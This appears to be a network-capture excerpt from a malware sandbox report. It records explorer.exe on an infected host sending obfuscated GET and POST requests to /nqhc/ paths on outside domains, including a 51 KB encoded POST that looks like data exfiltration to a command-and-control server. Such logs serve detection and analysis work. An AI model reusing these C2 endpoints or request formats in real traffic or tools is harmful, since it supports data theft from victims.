Dec 5, 2022 15:20:26.112596035 CET	12948	OUT	Data Raw: 7e 76 71 73 65 4c 42 62 74 6d 74 6a 4b 4a 4e 7a 28 58 59 75 7e 50 31 66 6a 4d 5a 72 65 56 78 36 73 31 65 47 39 47 53 4f 68 67 66 6b 6e 4c 69 33 33 4f 57 69 59 46 77 63 5a 68 6a 72 50 64 34 4e 6e 41 71 70 38 31 69 53 57 4c 67 72 6f 39 38 43 6e 61 Data Ascii: ~vqseLBbtmtjKJNz(XYu~P1fjMZreVx6s1eG9GSOhgfknLi33OWiYFwcZhjrPd4NnAqp81iSWLgro98Cna6GiB8sERg2ieH410ZyMJtc54wRESU5YWMpWASxb8MzLKlFVpeha932bVNrNCdpmen7hSPCyRgV(HFIJAYbPM4zHjA3KepPyguZnQri2sSGXv0vxo6S676nmlEA71g3ipRvlMk6Txwsf1CsHFxeT5d_G_yb7epDh1~
Dec 5, 2022 15:20:26.112673044 CET	12951	OUT	Data Raw: 53 39 65 74 73 47 62 67 4e 5a 4f 33 38 61 77 48 28 76 37 42 53 61 57 34 4a 74 56 53 4a 4d 71 77 5a 73 66 79 47 41 66 52 35 30 79 63 77 79 63 37 77 57 75 43 5a 4d 4f 47 59 73 74 44 77 78 4b 47 77 73 72 47 7e 46 63 76 77 58 4a 31 50 67 4d 75 61 36 Data Ascii: S9etsGbgNZO38awH(v7BSaW4JtVSJMqwZsfyGAfR50ycwyc7wWuCZMOGYstDwxKGwsrG~FcvwXJ1PgMua6ofd-(mWffy0W(5SXIYc69PiEQGmrLravjwbnipSjXSPyHsJ_PoIzjRhAOeN28Zow8Zj5VP1tFTsg~I1NIxASF_zsJedymKJDm4~9ICqI6dVyBPHPq5REo32easvin4gqr-18WpUO6v38APexfXqdpCHzyM6LV8t5R
Dec 5, 2022 15:20:26.113080978 CET	12962	OUT	Data Raw: 6d 37 41 37 28 51 47 64 56 37 61 48 41 33 66 2d 28 73 48 39 31 61 50 73 47 68 5a 53 4b 35 7e 55 63 64 71 38 77 64 30 33 68 41 77 47 35 4a 7a 48 77 4f 6b 64 6d 6e 65 4b 39 41 65 50 33 34 34 5a 4e 65 67 6c 38 58 39 6a 38 34 48 72 34 4c 73 76 34 4d Data Ascii: m7A7(QGdV7aHA3f-(sH91aPsGhZSK5~Ucdq8wd03hAwG5JzHwOkdmneK9AeP344ZNegl8X9j84Hr4Lsv4MstNnWSBCemEY2zJp0Ss2oeecAOuCKFknyXjfLX7wPCN93SBBJhH8tDVmXL4gFnQnuRFaiklMa8L12FQch74gwNkuHb7pkFyHVqYgxK5wRIo4XgCqU5A-pc3YabDf1_t2LQAWf_lsd8G_lXZf9YJBrOvoZhPU5k9sk
Dec 5, 2022 15:20:26.113193035 CET	12964	OUT	Data Raw: 79 65 53 6f 73 6e 71 55 79 74 4a 45 54 79 38 2d 34 34 4e 65 57 32 71 35 51 66 28 31 4a 34 78 68 57 61 76 39 7e 59 48 49 48 7a 7a 31 4b 76 7e 6e 41 4c 58 67 79 6b 36 38 64 57 4d 44 31 47 69 39 50 5a 6b 43 7a 6a 78 62 4d 53 47 34 6e 63 28 50 67 4b Data Ascii: yeSosnqUytJETy8-44NeW2q5Qf(1J4xhWav9~YHIHzz1Kv~nALXgyk68dWMD1Gi9PZkCzjxbMSG4nc(PgK95IwWv6Jg5OftSDkJvD-nF(OqlnxDHalfxaIQZjs1Osf3zLZjmRJCadLO0W3y0fM5gJoSBp3~Xhs2KQPvTa0yLJsPG(BoAcc(XmF5USGMTXtcepd15uy0pWYHcGKUhvTuGv4iVxoK4fGveyciTy2Yeis16dbBsdB3
Dec 5, 2022 15:20:26.275150061 CET	12968	OUT	Data Raw: 69 4c 72 46 42 6f 69 66 33 2d 78 77 6c 2d 6e 4c 54 78 36 35 4c 50 50 31 48 30 57 42 64 56 48 45 4d 37 6f 55 69 53 76 69 41 38 5a 49 43 53 66 37 4f 37 46 41 6f 43 43 44 56 61 79 5a 4a 43 52 72 68 35 6b 6d 38 62 78 47 6b 56 6c 56 52 64 48 6a 33 57 Data Ascii: iLrFBoif3-xwl-nLTx65LPP1H0WBdVHEM7oUiSviA8ZICSf7O7FAoCCDVayZJCRrh5km8bxGkVlVRdHj3Wyr(VmNo6HFDX6CGYW2zWgLFrrpyULq~910PwI2wrdB6CrIbGxrSqp0Y9UHTFvN5Xt07gqqd42JsSeFNP0YyIBXhx4PMMnLGXBoCOzG6EL-s87fv0tXX3Jvs7hkQZ(eH8EsSYDQV8mu7Q5Y0DXed-dcP5AhG44o8s7
Dec 5, 2022 15:20:26.275278091 CET	12972	OUT	Data Raw: 45 34 53 45 58 35 30 4c 73 51 6b 70 6e 64 74 61 48 41 70 47 4b 55 76 54 6a 77 28 35 53 67 58 39 4b 37 6d 77 32 74 6f 43 34 5f 75 5a 57 5a 56 69 44 76 28 76 73 47 48 66 6d 59 41 31 53 6b 54 61 32 77 7e 52 67 44 59 47 4c 41 44 31 37 50 6a 4d 79 75 Data Ascii: E4SEX50LsQkpndtaHApGKUvTjw(5SgX9K7mw2toC4_uZWZViDv(vsGHfmYA1SkTa2w~RgDYGLAD17PjMyuGG2QRCI_nYZLk9290JKX7jT-7kMfcxxXwc~RDgKHtWaiN7Ri7Y5WBUTX7mvsxTV4EgTsbKEM0764kNUSf4CjELwyh74oTYyRG2(6oe8_ytaYhVeWLsjI65v2FiBA2uCyWpNKlGnOGDyDPrM44KZMxhO73kWjL9Afe
Dec 5, 2022 15:20:26.275347948 CET	12978	OUT	Data Raw: 68 65 63 33 69 4b 31 76 36 56 66 4f 5a 63 59 67 36 78 53 56 74 6b 63 39 6d 4d 62 52 42 6e 32 30 4a 77 6d 4f 5a 61 69 36 45 66 75 6c 33 55 4e 61 48 4c 74 30 4f 66 4f 78 7e 48 57 36 6d 50 32 67 54 63 6a 41 34 44 7a 74 5a 69 4e 43 69 6b 34 7a 52 51 Data Ascii: hec3iK1v6VfOZcYg6xSVtkc9mMbRBn20JwmOZai6Eful3UNaHLt0OfOx~HW6mP2gTcjA4DztZiNCik4zRQIHpR(MiJhcO7QeE6NlXoMTRle6qB5xSdkKsFKcZ8NNXU5GfJkcHJBhEOh1Nm3djc9N7lfbADs4ts(I~kfQYc~bY8K2caMX3A5hBzfZ5W(FFYydv4U7hC6tInoSjpt0B9vBZuUMThsSFLu9lIm0AzLog4pzkblGiNI
Dec 5, 2022 15:20:26.440078974 CET	12979	IN	HTTP/1.1 404 Not Found Date: Mon, 05 Dec 2022 14:20:26 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Fri, 01 May 2020 23:50:34 GMT Accept-Ranges: bytes Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 462 Content-Type: text/html Data Raw: 1f 8b 08 00 00 00 00 00 00 03 5d 92 4d 8f d3 30 10 86 ef fd 15 43 38 00 52 dd 8f a5 0b 28 1f 15 17 e0 82 d0 6a 57 70 9f c4 d3 c4 c2 f1 04 7b da a6 ac f6 bf 6f 9c b4 cb b2 f2 c1 f2 78 de 77 9e 19 3b 7f a5 b9 92 53 47 d0 48 6b b7 b3 3c 6e 60 d1 d5 45 42 2e 89 01 42 bd 9d 01 e4 2d 09 42 d5 a0 0f 24 45 b2 97 9d fa 94 fc bb 68 44 3a 45 7f f6 e6 50 24 bd da a3 aa b8 ed 50 4c 69 29 81 8a 9d 90 1b 54 86 0a d2 35 4d 3a 31 62 69 bb 59 6d e0 8b f7 ec f3 e5 14 78 b2 74 d8 52 91 1c 0c 1d 3b f6 f2 cc e5 68 b4 34 85 a6 83 a9 48 8d 87 39 18 67 c4 a0 55 a1 42 4b c5 3a 79 69 e3 b9 64 09 cf 4c 1c 1b a7 a9 9f 83 e3 1d 5b cb c7 49 12 e4 34 31 00 7c 6e 49 1b 84 50 79 22 07 e8 34 bc 6d b1 9f 0a a6 d7 ab 55 d7 bf 83 fb 31 13 a0 64 7d 82 7b d8 0d ee 2a 98 bf 94 c2 e2 03 b5 19 3c c0 98 f0 10 ad 97 67 ef 7c 39 cd 74 96 8f aa 31 5a 24 42 bd 28 b4 a6 76 29 54 03 21 f9 6c 20 8a ba 66 7d c9 19 ed 77 d8 1a 7b 4a e1 1b b1 af 0d ce 21 90 37 bb 6c e8 cc b2 4f e1 f5 06 e3 ca a0 c5 e1 da 29 e1 2e 85 4d 64 b1 c6 91 6a c8 d4 8d a4 b0 5e 5c 67 c9 d4 e7 1d 7b 7f 9a 83 34 26 40 87 35 81 66 0a ee 8d 00 f5 26 c8 22 2f fd f6 c6 12 06 1a 5e 9f aa df 43 22 c1 cf db ef c0 1e 6a 86 12 87 10 8e c2 c5 d8 65 b3 8e b6 23 f8 d5 05 1c e0 3f f4 5f e4 35 ba 88 8e 2e a8 17 fc 1f 75 5c d9 a4 38 9e 71 df af 56 17 dc a7 0f b3 80 9b 48 fb 83 05 be f2 de e9 73 f9 ab b1 7c be 8c c3 8d 43 5e 4e 3f fb 11 21 b9 04 0e ea 02 00 00 Data Ascii: ]M0C8R(jWp{oxw;SGHk<n`EB.B-B$EhD:EP$PLi)T5M:1biYmxtR;h4H9gUBK:yidL[I41\|nIPy"4mU1d}{*<g\|9t1Z$B(v)T!l f}w{J!7lO).Mdj^\g{4&@5f&"/^C"je#?_5.u\8qVHs\|C^N?!

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
95	192.168.11.20	49954	192.232.217.125	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 5, 2022 15:20:28.135880947 CET	12980	OUT	GET /nqhc/?7nWHV=cCAegqK/nzfcR22oyFZFZLhv7+fwUp6Akkv27RFimicapgMUJBRfpG+MwKY/yKfw/XeAmq4HqwYY5KwMyaSJSZOUIGIe3VRiGA==&jP1=y48xBzJ0mzz HTTP/1.1 Host: www.wellnessprodia.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Dec 5, 2022 15:20:28.306195974 CET	12981	IN	HTTP/1.1 404 Not Found Date: Mon, 05 Dec 2022 14:20:28 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Fri, 01 May 2020 23:50:34 GMT Accept-Ranges: bytes Content-Length: 746 Vary: Accept-Encoding Content-Type: text/html Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 78 2d 75 61 2d 63 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 69 65 3d 65 64 67 65 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 35 30 30 70 78 29 20 7b 0a 20 20 20 20 20 20 62 6f 64 79 20 7b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 2e 36 65 6d 3b 20 7d 20 0a 20 20 20 20 7d 0a 20 20 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 22 3e 0a 0a 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 47 65 6f 72 67 69 61 2c 20 73 65 72 69 66 3b 20 63 6f 6c 6f 72 3a 20 23 34 61 34 61 34 61 3b 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 34 65 6d 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 35 3b 22 3e 0a 20 20 20 20 53 6f 72 72 79 2c 20 74 68 69 73 20 70 61 67 65 20 64 6f 65 73 6e 27 74 20 65 78 69 73 74 2e 3c 62 72 3e 50 6c 65 61 73 65 20 63 68 65 63 6b 20 74 68 65 20 55 52 4c 20 6f 72 20 67 6f 20 62 61 63 6b 20 61 20 70 61 67 65 2e 0a 20 20 3c 2f 68 31 3e 0a 20 20 0a 20 20 3c 68 32 20 73 74 79 6c 65 3d 22 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 63 6f 6c 6f 72 3a 20 23 37 64 37 64 37 64 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 33 30 30 3b 22 3e 0a 20 20 20 20 34 30 34 20 45 72 72 6f 72 2e 20 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 2e 0a 20 20 3c 2f 68 32 3e 0a 20 20 0a 3c 2f 62 6f 64 79 3e 0a 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!doctype html><html lang="en"><head> <meta charset="utf-8"> <meta http-equiv="x-ua-compatible" content="ie=edge"> <title>404 Error</title> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta name="robots" content="noindex, nofollow"> <style> @media screen and (max-width:500px) { body { font-size: .6em; } } </style></head><body style="text-align: center;"> <h1 style="font-family: Georgia, serif; color: #4a4a4a; margin-top: 4em; line-height: 1.5;"> Sorry, this page doesn't exist.<br>Please check the URL or go back a page. </h1> <h2 style=" font-family: Verdana, sans-serif; color: #7d7d7d; font-weight: 300;"> 404 Error. Page Not Found. </h2> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
96	192.168.11.20	49955	208.91.197.39	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 5, 2022 15:20:33.685576916 CET	12982	OUT	POST /nqhc/ HTTP/1.1 Host: www.pinwheeleffect.org Connection: close Content-Length: 187 Cache-Control: no-cache Origin: http://www.pinwheeleffect.org User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.pinwheeleffect.org/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 37 6e 57 48 56 3d 30 38 72 66 44 77 55 54 48 49 36 6f 62 69 47 51 42 4c 64 4e 41 67 34 64 41 4f 73 4e 6b 6a 66 59 47 58 76 39 7e 61 75 66 4b 4e 34 52 73 6f 5a 4c 4b 46 62 5f 31 4f 45 5f 37 62 56 43 61 51 64 47 6b 70 68 58 79 77 57 33 4d 30 74 37 6d 4a 55 2d 79 6d 44 6c 72 4c 5a 70 58 6b 7a 49 38 67 69 5f 4f 6f 41 79 62 66 65 57 31 37 76 37 43 38 51 67 4c 70 32 56 63 6f 6f 6d 65 49 70 31 4a 69 51 70 53 64 42 38 53 48 73 44 74 46 42 66 6d 55 75 61 7a 2d 64 4c 33 43 71 56 43 47 70 62 4d 42 6e 64 5a 34 63 6a 4f 71 66 33 6e 71 41 39 30 6a 43 38 6f 67 29 2e 00 00 00 00 00 00 00 00 Data Ascii: 7nWHV=08rfDwUTHI6obiGQBLdNAg4dAOsNkjfYGXv9~aufKN4RsoZLKFb_1OE_7bVCaQdGkphXywW3M0t7mJU-ymDlrLZpXkzI8gi_OoAybfeW17v7C8QgLp2VcoomeIp1JiQpSdB8SHsDtFBfmUuaz-dL3CqVCGpbMBndZ4cjOqf3nqA90jC8og).

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
97	192.168.11.20	49956	208.91.197.39	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 5, 2022 15:20:35.847645044 CET	12983	OUT	POST /nqhc/ HTTP/1.1 Host: www.pinwheeleffect.org Connection: close Content-Length: 527 Cache-Control: no-cache Origin: http://www.pinwheeleffect.org User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.pinwheeleffect.org/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 37 6e 57 48 56 3d 30 38 72 66 44 77 55 54 48 49 36 6f 61 43 32 51 44 71 64 4e 46 41 34 65 64 2d 73 4e 71 44 66 63 47 58 6a 39 7e 62 71 31 4b 66 73 52 73 4a 46 4c 4c 45 62 5f 67 4f 45 5f 70 37 56 48 45 67 64 42 6b 70 74 70 79 79 43 33 4d 30 52 37 70 62 63 2d 77 57 44 6d 6b 72 5a 6d 41 55 7a 46 75 51 69 31 4f 6f 4e 6a 62 64 69 57 31 71 7a 37 44 5f 34 67 64 6f 32 57 57 6f 6f 6b 59 49 70 32 41 43 51 5a 53 64 63 63 53 47 55 54 73 33 64 66 6d 33 32 61 79 2d 64 49 39 79 71 53 66 32 6f 59 46 53 53 68 5a 75 64 59 65 35 62 63 6e 5a 31 42 67 43 37 4b 33 34 43 45 47 51 52 41 45 43 77 59 67 6e 47 74 59 36 49 33 50 50 51 52 47 32 6c 4d 70 52 35 69 51 73 42 79 35 75 4e 72 42 64 32 35 4a 58 64 70 36 38 79 32 6b 75 63 5a 76 65 70 77 6c 39 50 31 70 6d 28 74 72 69 47 50 6a 73 45 69 39 4e 48 51 31 46 76 71 4a 48 78 77 4d 77 6e 76 32 36 6b 46 43 7a 4b 4f 67 47 62 63 34 34 54 30 6c 41 71 59 33 66 4c 47 53 4a 53 35 4b 4e 4a 4e 6f 36 66 57 47 6c 6a 74 33 6f 6d 6c 56 44 39 54 78 6d 70 31 78 5f 47 51 78 32 54 53 55 4a 45 76 51 5f 77 37 7e 59 73 55 41 58 68 4a 57 68 71 5a 37 47 73 44 77 69 77 77 45 45 6c 38 5a 5a 68 4a 56 75 36 66 53 43 76 37 55 76 51 63 37 73 6a 30 65 79 4b 41 75 36 79 6e 28 79 73 64 30 4f 65 36 4b 54 54 47 33 77 55 51 30 4e 30 6a 52 4c 68 61 4a 38 28 4b 76 67 53 41 6f 69 36 48 73 52 4f 43 6c 69 28 4b 46 36 74 31 53 77 6b 69 61 36 4c 33 68 53 35 68 78 62 45 74 61 61 31 57 4e 74 5a 7a 47 66 42 74 6b 56 63 57 48 41 4a 70 65 54 68 2d 6c 4a 28 58 41 45 56 39 6b 6a 59 72 75 63 35 66 59 59 49 61 57 38 64 51 58 2d 4f 59 79 42 6d 78 55 78 4c 48 74 39 4b 37 79 45 73 2e 00 00 00 00 00 00 00 00 Data Ascii: 7nWHV=08rfDwUTHI6oaC2QDqdNFA4ed-sNqDfcGXj9~bq1KfsRsJFLLEb_gOE_p7VHEgdBkptpyyC3M0R7pbc-wWDmkrZmAUzFuQi1OoNjbdiW1qz7D_4gdo2WWookYIp2ACQZSdccSGUTs3dfm32ay-dI9yqSf2oYFSShZudYe5bcnZ1BgC7K34CEGQRAECwYgnGtY6I3PPQRG2lMpR5iQsBy5uNrBd25JXdp68y2kucZvepwl9P1pm(triGPjsEi9NHQ1FvqJHxwMwnv26kFCzKOgGbc44T0lAqY3fLGSJS5KNJNo6fWGljt3omlVD9Txmp1x_GQx2TSUJEvQ_w7~YsUAXhJWhqZ7GsDwiwwEEl8ZZhJVu6fSCv7UvQc7sj0eyKAu6yn(ysd0Oe6KTTG3wUQ0N0jRLhaJ8(KvgSAoi6HsROCli(KF6t1Swkia6L3hS5hxbEtaa1WNtZzGfBtkVcWHAJpeTh-lJ(XAEV9kjYruc5fYYIaW8dQX-OYyBmxUxLHt9K7yEs.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
98	192.168.11.20	49957	208.91.197.39	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 5, 2022 15:20:38.021390915 CET	12988	OUT	POST /nqhc/ HTTP/1.1 Host: www.pinwheeleffect.org Connection: close Content-Length: 51815 Cache-Control: no-cache Origin: http://www.pinwheeleffect.org User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.pinwheeleffect.org/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 37 6e 57 48 56 3d 30 38 72 66 44 77 55 54 48 49 36 6f 61 43 32 51 44 71 64 4e 46 41 34 65 64 2d 73 4e 71 44 66 63 47 58 6a 39 7e 62 71 31 4b 66 55 52 73 37 4e 4c 4b 6e 7a 5f 6d 2d 45 5f 71 37 56 47 45 67 64 63 6b 71 64 74 79 79 4f 4e 4d 79 64 37 70 49 6b 2d 77 6b 62 6d 68 72 5a 6e 63 45 7a 48 38 67 69 68 4f 6f 42 52 62 64 33 74 31 37 48 37 43 34 55 67 4c 4c 65 56 55 34 6f 6d 59 49 70 36 45 43 51 37 53 64 4a 43 53 47 59 54 73 30 35 66 6e 44 65 61 7a 70 42 49 30 43 71 52 56 57 6f 70 4d 79 54 5a 5a 75 67 72 65 35 62 4d 6e 59 68 42 67 43 62 4b 30 37 61 48 47 77 52 41 4a 69 77 5a 6b 6e 61 78 59 36 55 5f 50 4f 30 52 47 78 35 4d 6f 78 35 69 55 4e 42 7a 28 4f 4e 74 4d 39 32 75 61 48 5a 68 36 38 32 44 6b 76 55 5a 75 75 56 77 6e 4f 4c 31 75 44 66 74 6d 69 47 4e 75 4d 45 4c 33 74 48 32 31 46 66 32 4a 45 49 46 4d 33 6e 76 31 62 45 46 45 57 7e 50 6e 6d 62 65 33 59 54 62 68 41 6d 63 33 65 37 61 53 4a 53 58 4b 50 6c 4e 72 4b 76 57 48 6e 62 73 31 34 6d 69 59 6a 38 58 6d 32 73 36 78 5f 79 69 78 32 4b 4a 55 4c 6f 76 52 66 77 37 36 5f 59 58 49 6e 68 4f 59 78 71 4c 31 6d 74 56 77 69 30 47 45 47 4a 43 61 71 6c 4a 56 65 4b 66 59 79 76 36 66 76 51 51 31 4d 6a 36 55 53 4b 41 75 36 75 5a 28 7a 51 64 33 5f 57 36 4c 6c 6a 47 7a 6e 6f 51 32 4e 30 36 52 4c 68 48 4a 38 6a 70 76 67 61 69 6f 69 4b 74 73 54 43 43 6d 33 62 4b 41 34 56 32 41 77 6b 6e 51 61 4c 61 38 43 6b 6e 78 61 6f 31 61 62 46 47 4e 65 64 7a 46 62 64 74 75 31 63 56 4d 41 4a 75 4f 44 67 33 68 4a 37 78 41 45 49 49 6b 6a 39 67 75 62 4e 66 56 64 30 46 4e 65 6f 4e 4a 5f 58 35 78 47 79 75 55 67 50 50 32 63 6d 64 68 67 73 34 57 37 6e 51 59 71 65 79 41 32 6d 6b 33 5a 77 4e 6b 79 57 79 6a 72 6e 33 6d 56 70 77 72 43 58 4b 71 49 51 6e 34 79 68 4b 32 68 47 73 6d 61 4e 4a 28 31 53 73 74 54 61 41 54 50 63 31 52 51 52 51 35 76 71 44 4f 45 74 55 37 35 61 37 38 62 49 5a 4e 65 46 49 35 76 56 49 54 32 75 7a 30 70 48 72 6b 5f 57 41 71 4e 4b 72 68 79 78 31 39 4a 47 46 33 6d 28 79 4d 71 74 4b 39 2d 7a 4b 75 4d 69 71 43 30 45 48 39 6d 28 2d 52 36 71 34 36 6b 39 4f 46 52 4a 45 35 73 76 37 50 6c 35 4a 76 38 30 43 41 53 59 6b 77 79 4f 64 33 44 55 65 6e 49 66 35 70 48 59 38 6e 72 7a 32 43 54 59 39 47 71 76 36 59 67 49 6c 61 32 31 46 36 72 73 42 75 69 67 30 75 45 56 53 47 6c 36 70 4c 62 65 47 51 35 68 48 75 68 65 62 5a 32 79 39 28 48 68 37 38 65 73 70 51 51 61 4c 35 51 33 68 79 70 35 70 70 7a 67 51 57 71 65 34 61 7a 35 4e 4d 6f 65 33 54 4d 33 58 7a 68 36 49 48 6d 6b 74 71 6a 74 36 53 6a 78 74 6b 5f 73 4f 68 52 7a 75 76 54 78 59 4d 4e 31 4c 33 78 37 65 42 7a 6e 44 63 72 36 38 33 43 36 79 31 65 41 5f 30 51 37 31 49 76 31 37 30 67 37 32 6d 2d 32 6c 34 75 52 5a 4a 56 28 34 61 37 72 2d 34 41 49 2d 38 55 4a 6b 42 57 63 69 67 79 57 4d 70 31 33 41 4c 6e 52 65 4e 72 66 55 35 6d 6a 35 57 5f 76 5f 65 37 67 39 49 61 77 6e 6a 36 66 5a 7a 53 32 42 47 37 61 42 50 75 53 4e 57 37 78 56 49 54 39 41 57 53 4b 62 49 37 39 38 5a 30 4b 67 68 63 69 6b 47 48 45 73 28 6f 43 52 64 36 33 4d 41 51 6a 70 49 4e 55 76 72 62 6f 79 46 50 54 6a 46 74 6d 71 38 65 55 62 69 61 72 35 73 77 58 59 6a 48 32 37 4a 7a 41 6c 61 4a 38 44 75 56 7a 55 72 61 58 33 61 4d 48 79 65 30 59 7a 65 64 59 62 78 46 54 34 49 6d 52 65 49 45 48 71 6d 73 64 55 6e 78 74 77 78 53 6a 4c 64 34 55 56 4b 4f 6f 6a 64 58 74 56 59 55 7a 4d 28 77 36 6e 63 70 76 74 76 77 35 57 75 65 44 4d 7a 43 4c 6f 4c 35 39 37 33 6d 68 6b 6c 67 73 4a 4b 35 56 47 6c 51 44 78 4e 38 34 38 49 7a 7a 6a 67 31 34 63 5a 54 53 71 79 68 4d 4b 41 45 72 78 79 37 75 7a 59 69 34 6f 53 56 33 4f 64 63 6d 6d 53 5f 48 79 62 47 32 34 51 4d 63 48 55 63 4b 68 32 35 6e 55 54 44 73 38 65 58 4c 6b 70 4d 6e 61 44 64 6c 4b 32 74 67 36 6f 73 6e 78 37 4e 57 45 35 35 44 4e 6b 37 45 37 53 5a 57 53 55 41 50 4e 37 6e 43 55 79 7a 79 58 28 62 51 6a 4b 6e 68 65 50 36 30 73 6e 62 66 32 31 39 47 33 6d 4f 67 70 50 30 50 49 46 61 57 46 4a 57 38 79 33 44 38 74 48 4e 77 69 28 50 34 74 4d 38 51 31 62 54 42 79 4b 51 38 39 34 4d 44 4f 54 39 6a 2d 74 6d 52 73 70 31 7a 64 37 78 35 6c 32 30 4d 4c 56 2d 38 65 55 44 66 44 58 48 33 4f 39 6c 73 4c 30 33 4c 37 66 45 52 42 69 45 6b 6c 39 7a 52 50 52 50 67 49 49 68 57 7a 51 4a 54 51 4f 79 37 73 74 Data Ascii: 7nWHV=08rfDwUTHI6oaC2QDqdNFA4ed-sNqDfcGXj9~bq1KfURs7NLKnz_m-E_q7VGEgdckqdtyyONMyd7pIk-wkbmhrZncEzH8gihOoBRbd3t17H7C4UgLLeVU4omYIp6ECQ7SdJCSGYTs05fnDeazpBI0CqRVWopMyTZZugre5bMnYhBgCbK07aHGwRAJiwZknaxY6U_PO0RGx5Mox5iUNBz(ONtM92uaHZh682DkvUZuuVwnOL1uDftmiGNuMEL3tH21Ff2JEIFM3nv1bEFEW~Pnmbe3YTbhAmc3e7aSJSXKPlNrKvWHnbs14miYj8Xm2s6x_yix2KJULovRfw76_YXInhOYxqL1mtVwi0GEGJCaqlJVeKfYyv6fvQQ1Mj6USKAu6uZ(zQd3_W6LljGznoQ2N06RLhHJ8jpvgaioiKtsTCCm3bKA4V2AwknQaLa8Cknxao1abFGNedzFbdtu1cVMAJuODg3hJ7xAEIIkj9gubNfVd0FNeoNJ_X5xGyuUgPP2cmdhgs4W7nQYqeyA2mk3ZwNkyWyjrn3mVpwrCXKqIQn4yhK2hGsmaNJ(1SstTaATPc1RQRQ5vqDOEtU75a78bIZNeFI5vVIT2uz0pHrk_WAqNKrhyx19JGF3m(yMqtK9-zKuMiqC0EH9m(-R6q46k9OFRJE5sv7Pl5Jv80CASYkwyOd3DUenIf5pHY8nrz2CTY9Gqv6YgIla21F6rsBuig0uEVSGl6pLbeGQ5hHuhebZ2y9(Hh78espQQaL5Q3hyp5ppzgQWqe4az5NMoe3TM3Xzh6IHmktqjt6Sjxtk_sOhRzuvTxYMN1L3x7eBznDcr683C6y1eA_0Q71Iv170g72m-2l4uRZJV(4a7r-4AI-8UJkBWcigyWMp13ALnReNrfU5mj5W_v_e7g9Iawnj6fZzS2BG7aBPuSNW7xVIT9AWSKbI798Z0KghcikGHEs(oCRd63MAQjpINUvrboyFPTjFtmq8eUbiar5swXYjH27JzAlaJ8DuVzUraX3aMHye0YzedYbxFT4ImReIEHqmsdUnxtwxSjLd4UVKOojdXtVYUzM(w6ncpvtvw5WueDMzCLoL5973mhklgsJK5VGlQDxN848Izzjg14cZTSqyhMKAErxy7uzYi4oSV3OdcmmS_HybG24QMcHUcKh25nUTDs8eXLkpMnaDdlK2tg6osnx7NWE55DNk7E7SZWSUAPN7nCUyzyX(bQjKnheP60snbf219G3mOgpP0PIFaWFJW8y3D8tHNwi(P4tM8Q1bTByKQ894MDOT9j-tmRsp1zd7x5l20MLV-8eUDfDXH3O9lsL03L7fERBiEkl9zRPRPgIIhWzQJTQOy7stIiToC~xpwFLCLXKzloHGp~xzPX0j2ymVuRAQkMTMfxHcUnzbyvBjXCzEv8wwT7Kea2Jgq6s3JUfvQ6UELVwQq8Ts_FKbHyWWRf6lX4-zn6JaX(tlhJcc1fohKX1yTbsCSFXOfKD